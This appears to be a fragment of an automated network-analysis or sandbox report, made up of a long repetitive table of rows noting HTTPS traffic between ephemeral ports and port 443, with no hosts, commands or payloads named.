| Source: unknown | Network traffic detected: HTTP traffic on port 33318 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39014 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50816 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58276 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60580 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43092 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35852 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41400 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41886 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42036 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52976 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50316 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49364 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48032 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41280 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58010 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55116 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59764 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51642 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50312 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50796 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46734 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57650 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40666 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57358 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48288 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41632 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51656 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47012 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34644 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39550 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52508 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37372 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48020 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33622 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39554 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54486 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50322 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46046 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59146 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42714 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46394 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41862 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35190 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38698 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 32868 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51142 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33710 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48314 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 51176 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43518 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53414 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40000 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33500 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52444 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40006 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40700 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33706 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39494 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55514 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38168 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51154 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39014 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56840 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43508 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49548 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43986 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55034 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43982 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44066 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33866 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40506 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37038 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49286 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57702 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48350 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57628 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38158 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55522 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52260 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57560 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43978 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56164 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60066 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37692 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36686 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37290 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57056 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38142 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41086 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51178 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51176 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 32830 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39478 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55734 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49066 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38878 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53058 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52030 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50940 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54842 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49010 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40608 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42630 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40454 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35692 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41382 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35728 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35210 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60934 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39836 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45634 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42024 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54830 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33756 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47770 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47160 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56736 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33754 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35930 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33752 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43518 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42044 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53770 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47914 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39550 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45734 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50848 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48064 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41376 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41370 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51118 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43760 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41464 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56680 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33536 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39058 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39264 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52446 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 51116 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37104 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52444 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59338 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55112 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40290 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48212 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49664 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60066 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41624 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37586 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54142 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45728 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44876 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60602 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53438 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43358 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40038 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41570 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 53306 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55968 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39042 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37210 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35912 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33732 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37888 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56810 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56840 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57432 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39424 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41356 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59094 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42184 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41352 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42200 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56036 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38028 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41420 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 38182 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58680 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41762 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36502 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 39032 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34514 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35902 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60092 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33722 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47516 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47368 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58618 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60088 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59442 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44858 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52470 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45702 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 44856 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38568 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42674 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42274 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60938 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55106 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33318 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58618 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58612 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34644 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46062 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38286 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44356 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39124 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55112 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39554 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 51728 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57992 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60938 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60934 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 47956 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60932 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43114 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40228 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59434 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40084 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50018 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48924 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55116 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59962 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47948 -> 443 |
| Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43106 |
Edit tour
